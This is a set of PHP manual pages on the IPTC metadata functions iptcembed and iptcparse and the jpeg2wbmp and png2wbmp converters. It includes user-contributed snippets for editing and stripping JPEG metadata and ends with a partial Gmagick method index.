Embeds binary IPTC data into a JPEG image

  • « imagexbm
  • iptcparse »
  • PHP Manual
  • GD and Image Functions
  • Embeds binary IPTC data into a JPEG image

iptcembed

(PHP 4, PHP 5)

iptcembed — Embeds binary IPTC data into a JPEG image

Description

mixed iptcembed ( string $iptcdata , string $jpeg_file_name [, int $spool ] )

Embeds binary IPTC data into a JPEG image.

Parameters

iptcdata

The data to be written.

jpeg_file_name

Path to the JPEG image.

spool

Spool flag. If the spool flag is over 2 then the JPEG will be returned as a string.

Return Values

If success and spool flag is lower than 2 then the JPEG will not be returned as a string, FALSE on errors.

Examples

Example #1 Embedding IPTC data into a JPEG

<?php

// iptc_make_tag() function by Thies C. Arntzen
function iptc_make_tag($rec, $data, $value)
{
    $length = strlen($value);
    $retval = chr(0x1C) . chr($rec) . chr($data);

    if($length < 0x8000)
    {
        $retval .= chr($length >> 8) .  chr($length & 0xFF);
    }
    else
    {
        $retval .= chr(0x80) .
                   chr(0x04) .
                   chr(($length >> 24) & 0xFF) .
                   chr(($length >> 16) & 0xFF) .
                   chr(($length >> 8) & 0xFF) .
                   chr($length & 0xFF);
    }

    return $retval . $value;
}

// Path to jpeg file
$path = './phplogo.jpg';

// We need to check if theres any IPTC data in the jpeg image. If there is then
// bail out because we cannot embed any image that already has some IPTC data!
$image = getimagesize($path, $info);

if(isset($info['APP13']))
{
    die('Error: IPTC data found in source image, cannot continue');
}

// Set the IPTC tags
$iptc = array(
    '2#120' => 'Test image',
    '2#116' => 'Copyright 2008-2009, The PHP Group'
);

// Convert the IPTC tags into binary code
$data = '';

foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}

// Embed the IPTC data
$content = iptcembed($data, $path);

// Write the new image data out to the file.
$fp = fopen($path, "wb");
fwrite($fp, $content);
fclose($fp);
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

ebashkoff at gmail dot com 13-Dec-2013 12:05
The following code embeds both IPTC APP segment 13 and EXIF APP segment 1 data from a source file and embeds it into a destination file.  This overcomes the limitation where the iptcembed statement does not seem to embed EXIF data, only IPTC data.

function transferIptcExif2File($srcfile, $destfile) {
    // Function transfers EXIF (APP1) and IPTC (APP13) from $srcfile and adds it to $destfile
    // JPEG file has format 0xFFD8 + [APP0] + [APP1] + ... [APP15] + <image data> where [APPi] are optional
    // Segment APPi (where i=0x0 to 0xF) has format 0xFFEi + 0xMM + 0xLL + <data> (where 0xMM is
    //   most significant 8 bits of (strlen(<data>) + 2) and 0xLL is the least significant 8 bits
    //   of (strlen(<data>) + 2)

    if (file_exists($srcfile) && file_exists($destfile)) {
        $srcsize = @getimagesize($srcfile, $imageinfo);
        // Prepare EXIF data bytes from source file
        $exifdata = (is_array($imageinfo) && key_exists("APP1", $imageinfo)) ? $imageinfo['APP1'] : null;
        if ($exifdata) {
            $exiflength = strlen($exifdata) + 2;
            if ($exiflength > 0xFFFF) return false;
            // Construct EXIF segment
            $exifdata = chr(0xFF) . chr(0xE1) . chr(($exiflength >> 8) & 0xFF) . chr($exiflength & 0xFF) . $exifdata;
        }
        // Prepare IPTC data bytes from source file
        $iptcdata = (is_array($imageinfo) && key_exists("APP13", $imageinfo)) ? $imageinfo['APP13'] : null;
        if ($iptcdata) {
            $iptclength = strlen($iptcdata) + 2;
            if ($iptclength > 0xFFFF) return false;
            // Construct IPTC segment
            $iptcdata = chr(0xFF) . chr(0xED) . chr(($iptclength >> 8) & 0xFF) . chr($iptclength & 0xFF) . $iptcdata;
        }
        $destfilecontent = @file_get_contents($destfile);
        if (!$destfilecontent) return false;
        if (strlen($destfilecontent) > 0) {
            $destfilecontent = substr($destfilecontent, 2);
            $portiontoadd = chr(0xFF) . chr(0xD8);          // Variable accumulates new & original IPTC application segments
            $exifadded = !$exifdata;
            $iptcadded = !$iptcdata;

            while ((substr($destfilecontent, 0, 2) & 0xFFF0) === 0xFFE0) {
                $segmentlen = (substr($destfilecontent, 2, 2) & 0xFFFF);
                $iptcsegmentnumber = (substr($destfilecontent, 1, 1) & 0x0F);   // Last 4 bits of second byte is IPTC segment #
                if ($segmentlen <= 2) return false;
                $thisexistingsegment = substr($destfilecontent, 0, $segmentlen + 2);
                if ((1 <= $iptcsegmentnumber) && (!$exifadded)) {
                    $portiontoadd .= $exifdata;
                    $exifadded = true;
                    if (1 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                if ((13 <= $iptcsegmentnumber) && (!$iptcadded)) {
                    $portiontoadd .= $iptcdata;
                    $iptcadded = true;
                    if (13 === $iptcsegmentnumber) $thisexistingsegment = '';
                }
                $portiontoadd .= $thisexistingsegment;
                $destfilecontent = substr($destfilecontent, $segmentlen + 2);
            }
            if (!$exifadded) $portiontoadd .= $exifdata;  //  Add EXIF data if not added already
            if (!$iptcadded) $portiontoadd .= $iptcdata;  //  Add IPTC data if not added already
            $outputfile = fopen($destfile, 'w');
            if ($outputfile) return fwrite($outputfile, $portiontoadd . $destfilecontent); else return false;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
micheall at inthemdl dot net 29-May-2011 02:00
While using the class file noted below you'll notice setting an array of keywords with the set() function will not work.  Try this instead:
<?php
        function set($tag, $data) {
            if(is_array($data)){
                $c = count($data);
                for ($i=0; $i <$c; $i++){
                       $this->meta["2#$tag"][$i] = $data[$i];
                }
                $this->hasmeta=true;
            } else {
                $this->meta["2#$tag"]= Array( $data );
                $this->hasmeta=true;
            }
        }
?>
Jarek Milewski 22-Apr-2011 12:37
To remove all EXIF, XMP etc. tags from a jpeg file you need no resampling (which, by the way, may give you memory problems). It's just enough to recreate the image, presumably with 100% quality in order not to loose anything. The code is as simple as that:

<?php
    $img = imagecreatefromjpeg ($path);
    imagejpeg ($img, $path, 100);
    imagedestroy ($img);
?>
soporte at etic dot com dot mx 29-Mar-2011 03:50
I just found an error while trying to write several keywords (an array) with the binary function... please consider using the following:

<?php
function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                if(count($this->meta[$s])>1){
                    foreach ($this->meta[$s] as $row){
                        $iptc_new .= $this->iptc_maketag(2, $tag, $row);
                    }
                }else {
                    $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
                }
            }
            return $iptc_new;
        }
?>
Christoph Tavan 16-Dec-2010 12:30
For everybody having issues with unicode (UTF-8) text in IPTC fields, set the "Coded Character Set"-field in the envelop (1:90, see http://www.iptc.org/std/IIM/4.1/specification/IIMV4.1.pdf).

This can be accomplished by starting the $data-block with the following lines:

<?php
// These two lines ensure that UTF8-Encoding will work (set the 1:90 field in the envelop)
// @see http://cpanforum.com/threads/2114 for a hint
$utf8seq = chr(0x1b) . chr(0x25) . chr(0x47);
$length = strlen($utf8seq);
$data = chr(0x1C) . chr(1) . chr('090') . chr($length >> 8) . chr($length & 0xFF) . $utf8seq;
?>

After that you can continue like in the example:

<?php
foreach($iptc as $tag => $string)
{
    $tag = substr($tag, 2);
    $data .= iptc_make_tag(2, $tag, $string);
}
?>
critto at o2 dot pl 14-Jul-2010 03:25
If you want just to copy the IPTC data, eg. at the thumbnail creation, you don't have to parse the binary IPTC data into array and back; just do this:

<?php
$fullFilePath='photo1.jpg';
$fullPathThumb = 'photo1thumb.jpg';
$imagesize        =    getImageSize($fullFilePath, $info);
if(isset($info['APP13'])){
    $content    =    iptcembed($info['APP13'], $fullPathThumb);
   @unlink($fullPathThumb);
   $fw = fopen($fullPathThumb, 'w');
   fwrite($fw, $content);
   fclose($fw);
}
?>
support at image-host-script dot com 23-Sep-2008 08:39
A class I recently wrote for manipulating IPTC data in an jpeg images. It does the job for editing exisiting data too, in easy manner. It is just a compilation of examples into single class.

<?

    /************************************************************\

        IPTC EASY 1.0 - IPTC data manipulator for JPEG images

        All reserved www.image-host-script.com

        Sep 15, 2008

    \************************************************************/

    DEFINE('IPTC_OBJECT_NAME', '005');
    DEFINE('IPTC_EDIT_STATUS', '007');
    DEFINE('IPTC_PRIORITY', '010');
    DEFINE('IPTC_CATEGORY', '015');
    DEFINE('IPTC_SUPPLEMENTAL_CATEGORY', '020');
    DEFINE('IPTC_FIXTURE_IDENTIFIER', '022');
    DEFINE('IPTC_KEYWORDS', '025');
    DEFINE('IPTC_RELEASE_DATE', '030');
    DEFINE('IPTC_RELEASE_TIME', '035');
    DEFINE('IPTC_SPECIAL_INSTRUCTIONS', '040');
    DEFINE('IPTC_REFERENCE_SERVICE', '045');
    DEFINE('IPTC_REFERENCE_DATE', '047');
    DEFINE('IPTC_REFERENCE_NUMBER', '050');
    DEFINE('IPTC_CREATED_DATE', '055');
    DEFINE('IPTC_CREATED_TIME', '060');
    DEFINE('IPTC_ORIGINATING_PROGRAM', '065');
    DEFINE('IPTC_PROGRAM_VERSION', '070');
    DEFINE('IPTC_OBJECT_CYCLE', '075');
    DEFINE('IPTC_BYLINE', '080');
    DEFINE('IPTC_BYLINE_TITLE', '085');
    DEFINE('IPTC_CITY', '090');
    DEFINE('IPTC_PROVINCE_STATE', '095');
    DEFINE('IPTC_COUNTRY_CODE', '100');
    DEFINE('IPTC_COUNTRY', '101');
    DEFINE('IPTC_ORIGINAL_TRANSMISSION_REFERENCE',     '103');
    DEFINE('IPTC_HEADLINE', '105');
    DEFINE('IPTC_CREDIT', '110');
    DEFINE('IPTC_SOURCE', '115');
    DEFINE('IPTC_COPYRIGHT_STRING', '116');
    DEFINE('IPTC_CAPTION', '120');
    DEFINE('IPTC_LOCAL_CAPTION', '121');

    class iptc {
        var $meta=Array();
        var $hasmeta=false;
        var $file=false;

        function iptc($filename) {
            $size = getimagesize($filename,$info);
            $this->hasmeta = isset($info["APP13"]);
            if($this->hasmeta)
                $this->meta = iptcparse ($info["APP13"]);
            $this->file = $filename;
        }
        function set($tag, $data) {
            $this->meta ["2#$tag"]= Array( $data );
            $this->hasmeta=true;
        }
        function get($tag) {
            return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : false;
        }

        function dump() {
            print_r($this->meta);
        }
        function binary() {
            $iptc_new = '';
            foreach (array_keys($this->meta) as $s) {
                $tag = str_replace("2#", "", $s);
                $iptc_new .= $this->iptc_maketag(2, $tag, $this->meta[$s][0]);
            }
            return $iptc_new;
        }
        function iptc_maketag($rec,$dat,$val) {
            $len = strlen($val);
            if ($len < 0x8000) {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr($len >> 8).
                   chr($len & 0xff).
                   $val;
            } else {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr(0x80).chr(0x04).
                   chr(($len >> 24) & 0xff).
                   chr(($len >> 16) & 0xff).
                   chr(($len >> 8 ) & 0xff).
                   chr(($len ) & 0xff).
                   $val;

            }
        }
        function write() {
            if(!function_exists('iptcembed')) return false;
            $mode = 0;
            $content = iptcembed($this->binary(), $this->file, $mode);
            $filename = $this->file;

            @unlink($filename); #delete if exists

            $fp = fopen($filename, "w");
            fwrite($fp, $content);
            fclose($fp);
        }

        #requires GD library installed
        function removeAllTags() {
            $this->hasmeta=false;
            $this->meta=Array();
            $img = imagecreatefromstring(implode(file($this->file)));
            @unlink($this->file); #delete if exists
            imagejpeg($img,$this->file,100);
        }
    };

?>

Example read copyright string:

$i = new iptc("test.jpg");
echo $i->get(IPTC_COPYRIGHT_STRING);

Update copyright statement:
$i = new iptc("test.jpg");
echo $i->set(IPTC_COPYRIGHT_STRING,"Here goes the new data");
$i->write();

NOTE1: Data may be anything, even a binary file. I have so far tested and embedded an MS-Excel file directly to jpeg and it worked just perfect.

NOTE2: The writing purpose, it uses GD Library.

Further imporvements / changes may be followed at www.image-host-script.com

I hope it helps.
Ali..
jb at ibbeck dot de 04-Oct-2007 04:40
If you have a file without any IPTC record, you can add a new, empty one by calling iptcembed with an empty string as first argument, like this:

$buffer = iptcembed("",$imagename,0);
$fp = fopen($imagename,"w");
fwrite($fp,$buffer);
fclose($fp);
Bryce Fisher 04-Jul-2007 06:55
In Thomas's wonderful code snippet below, the second parameter needs to be changed to "$filename", otherwise the script has no write the file. So the code should read:

<?php
//This function removes all header data from a JPG
function remove_XMP($image_in, $filename) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,$width, $height);
  imagejpeg($image_dest, $filename);
}
?>
muguran 13-May-2005 10:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com 09-Aug-2004 06:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at 30-May-2004 03:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at 06-May-2004 01:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net 20-Feb-2004 07:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//   $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net 20-Feb-2004 01:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
    $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
    $n_end += strlen ($xmp_end)-1; // last char of this block
    $endchar = $image [$n_str-1];
    if ($endchar == " ") {
      $endchar = "A";
    } else {
      $endchar = " ";
    }
    $xmp_len = $n_end-$n_str+1;
    $img_len = strlen ($image);
    $len = $img_len - $xmp_len;
    for ($i = $n_str; $i < $img_len; $i ++) {
      if ($i < $len) {
        $image [$i] = $image [$i+$xmp_len];
      } else {
        $image [$i] = $endchar;
      }
    }
    $image = rtrim ($image, $endchar);
    return true;
  } else {
    return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
    $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
    // chargement du fichier en m�moire
    $f_in = fopen ($filename_in, "rb");
    $img = fread ($f_in, $len_in);
    fclose ($f_in);
    // suppression du XMP de l'image
    if (XMP_remove_from_jpeg ($img)) {
      // enregistrement du fichier sur disque
      $f_out = fopen ($filename_out, "wb");
      fwrite ($f_out, $img, strlen ($img));
      fclose ($f_out);
    }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
rupix at rediffmail dot com 28-Jan-2002 01:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no 28-Jan-2002 12:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
      // Finds the IPTC numbers
      $tag = str_replace("2#", "", $s);
      // Creating the string
      $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                  return chr(0x1c).chr($rec).chr($dat).
                  chr($len >> 8).
                  chr($len & 0xff).
                  $val;
         else
                  return chr(0x1c).chr($rec).chr($dat).
                  chr(0x80).chr(0x04).
                  chr(($len >> 24) & 0xff).
                  chr(($len >> 16) & 0xff).
                  chr(($len >> 8 ) & 0xff).
                  chr(($len ) & 0xff).
                  $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption


Parse a binary IPTC block into single tags.

  • « iptcembed
  • jpeg2wbmp »
  • PHP Manual
  • GD and Image Functions
  • Parse a binary IPTC block into single tags.

iptcparse

(PHP 4, PHP 5)

iptcparse — Parse a binary IPTC block into single tags.

Description

array iptcparse ( string $iptcblock )

Parses an » IPTC block into its single tags.

Parameters

iptcblock

A binary IPTC block.

Return Values

Returns an array using the tagmarker as an index and the value as the value. It returns FALSE on error or if no IPTC data was found.

Examples

Example #1 iptcparse() used together with getimagesize()

<?php
$size = getimagesize('./test.jpg', $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    var_dump($iptc);
}
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

tomasz at trejderowski dot pl 05-Sep-2013 10:39
I've managed to update "pkrohn at daemonize dot com" array, after 12 years since initial publication.

If you want to change some of IPCT header-strings into something more human-readable, try to use array similar to this:

$iptcHeaderArray = array
(
    '2#005'=>'DocumentTitle',
    '2#010'=>'Urgency',
    '2#015'=>'Category',
    '2#020'=>'Subcategories',
    '2#040'=>'SpecialInstructions',
    '2#055'=>'CreationDate',
    '2#080'=>'AuthorByline',
    '2#085'=>'AuthorTitle',
    '2#090'=>'City',
    '2#095'=>'State',
    '2#101'=>'Country',
    '2#103'=>'OTR',
    '2#105'=>'Headline',
    '2#110'=>'Source',
    '2#115'=>'PhotoSource',
    '2#116'=>'Copyright',
    '2#120'=>'Caption',
    '2#122'=>'CaptionWriter'
);
www.peterdebruin.net 22-Jul-2011 10:12
Nowadays IPTC captions may be encoded in UTF-8.
In that case, IPTC tag CodedCharacterSet would be set to "ESC % G".
This tag has tag marker "1#090".
To decode such a caption into simple ISO-8859-1, you could use the following code:

<?php
$IPTC_Caption = "";
$size = getimagesize( $image_path, $info );
if (isset($info["APP13"])) {
    if($iptc = iptcparse( $info["APP13"] ) ) {
        $IPTC_Caption = str_replace( "\000", "", $iptc["2#120"][0] );
        if(isset($iptc["1#090"]) && $iptc["1#090"][0] == "\x1B%G")
            $IPTC_Caption = utf8_decode($IPTC_Caption);
    }
}
?>

Of course, this will only preserve ISO-8859-1 characters.
For proper Unicode support, you should convert UTF-8 byte sequences into HTML character entities, or encode the whole web page in UTF-8.
michael wells 03-Sep-2004 02:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
        return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com 09-Aug-2004 06:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
06-Feb-2004 08:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
    $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
        $iptc = iptcparse($info["APP13"]);
        foreach (array_keys($iptc) as $s) {
            $c = count ($iptc[$s]);
            for ($i=0; $i <$c; $i++)
            {
                echo $s.' = '.$iptc[$s][$i].'<br>';
            }
        }
    }
}
Scin 15-Oct-2002 12:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
    echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
    foreach($value as $innerkey => $innervalue)
    {
        if( ($innerkey+1) != count($value) )
            echo "$innervalue, ";
        else
            echo "$innervalue";
    }
}
26-Apr-2002 04:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];   (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com 16-Jul-2001 01:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]){
        if (is_array($iptc)) {
        $caption = $iptc["2#120"][0];
    $graphic_name = $iptc["2#005"][0];
        $urgency = $iptc["2#010"][0];
    $category = $iptc["2#015"][0];
    // note that sometimes supp_categories contans multiple entries
$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}


Convert JPEG image file to WBMP image file

  • « iptcparse
  • png2wbmp »
  • PHP Manual
  • GD and Image Functions
  • Convert JPEG image file to WBMP image file

jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5)

jpeg2wbmp — Convert JPEG image file to WBMP image file

Description

bool jpeg2wbmp ( string $jpegname , string $wbmpname , int $dest_height , int $dest_width , int $threshold )

Converts a JPEG file into a WBMP file.

Parameters

jpegname

Path to JPEG file.

wbmpname

Path to destination WBMP file.

dest_height

Destination image height.

dest_width

Destination image width.

threshold

Threshold value, between 0 and 8 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 jpeg2wbmp() example

<?php
// Path to the target jpeg
$path = './test.jpg';

// Get the image sizes
$image = getimagesize($path);

// Convert image
jpeg2wbmp($path, './test.wbmp', $image[1], $image[0], 5);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • png2wbmp() - Convert PNG image file to WBMP image file

User Contributed Notes

barry dot schatz at gmail dot com 16-May-2009 05:41
Actually this produces black and white images only, as does the jpeg2wbmp function.


Convert PNG image file to WBMP image file

  • « jpeg2wbmp
  • Gmagick »
  • PHP Manual
  • GD and Image Functions
  • Convert PNG image file to WBMP image file

png2wbmp

(PHP 4 >= 4.0.5, PHP 5)

png2wbmp — Convert PNG image file to WBMP image file

Description

bool png2wbmp ( string $pngname , string $wbmpname , int $dest_height , int $dest_width , int $threshold )

Converts a PNG file into a WBMP file.

Parameters

pngname

Path to PNG file.

wbmpname

Path to destination WBMP file.

dest_height

Destination image height.

dest_width

Destination image width.

threshold

Threshold value, between 0 and 8 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 png2wbmp() example

<?php
// Path to the target png
$path = './test.png';

// Get the image sizes
$image = getimagesize($path);

// Convert image
png2wbmp($path, './test.wbmp', $image[1], $image[0], 7);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • jpeg2wbmp() - Convert JPEG image file to WBMP image file

User Contributed Notes

Window Bump Map 30-Jun-2008 07:41
WBMP is NOT windows bitmap, it is wireless bitmap. just to state that nice and clearly.


Gmagick

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Examples
  • Gmagick — The Gmagick class
    • Gmagick::addimage — Adds new image to Gmagick object image list
    • Gmagick::addnoiseimage — Adds random noise to the image
    • Gmagick::annotateimage — Annotates an image with text
    • Gmagick::blurimage — Adds blur filter to image
    • Gmagick::borderimage — Surrounds the image with a border
    • Gmagick::charcoalimage — Simulates a charcoal drawing
    • Gmagick::chopimage — Removes a region of an image and trims
    • Gmagick::clear — Clears all resources associated to Gmagick object
    • Gmagick::commentimage — Adds a comment to your image
    • Gmagick::compositeimage — Composite one image onto another
    • Gmagick::__construct — The Gmagick constructor
    • Gmagick::cropimage — Extracts a region of the image
    • Gmagick::cropthumbnailimage — Creates a crop thumbnail
    • Gmagick::current — The current purpose
    • Gmagick::cyclecolormapimage — Displaces an image's colormap
    • Gmagick::deconstructimages — Returns certain pixel differences between images
    • Gmagick::despeckleimage — The despeckleimage purpose
    • Gmagick::destroy — The destroy purpose
    • Gmagick::drawimage — Renders the GmagickDraw object on the current image
    • Gmagick::edgeimage — Enhance edges within the image
    • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
    • Gmagick::enhanceimage — Improves the quality of a noisy image
    • Gmagick::equalizeimage — Equalizes the image histogram
    • Gmagick::flipimage — Creates a vertical mirror image
    • Gmagick::flopimage — The flopimage purpose
    • Gmagick::frameimage — Adds a simulated three-dimensional border
    • Gmagick::gammaimage — Gamma-corrects an image
    • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
    • Gmagick::getfilename — The filename associated with an image sequence
    • Gmagick::getimagebackgroundcolor — Returns the image background color
    • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
    • Gmagick::getimagebordercolor — Returns the image border color
    • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
    • Gmagick::getimagecolors — Returns the color of the specified colormap index
    • Gmagick::getimagecolorspace — Gets the image colorspace
    • Gmagick::getimagecompose — Returns the composite operator associated with the image
    • Gmagick::getimagedelay — Gets the image delay
    • Gmagick::getimagedepth — Gets the depth of the image
    • Gmagick::getimagedispose — Gets the image disposal method
    • Gmagick::getimageextrema — Gets the extrema for the image
    • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
    • Gmagick::getimageformat — Returns the format of a particular image in a sequence
    • Gmagick::getimagegamma — Gets the image gamma
    • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
    • Gmagick::getimageheight — Returns the image height
    • Gmagick::getimagehistogram — Gets the image histogram
    • Gmagick::getimageindex — Gets the index of the current active image
    • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
    • Gmagick::getimageiterations — Gets the image iterations
    • Gmagick::getimagematte — Check if the image has a matte channel
    • Gmagick::getimagemattecolor — Returns the image matte color
    • Gmagick::getimageprofile — Returns the named image profile.
    • Gmagick::getimageredprimary — Returns the chromaticity red primary point
    • Gmagick::getimagerenderingintent — Gets the image rendering intent
    • Gmagick::getimageresolution — Gets the image X and Y resolution
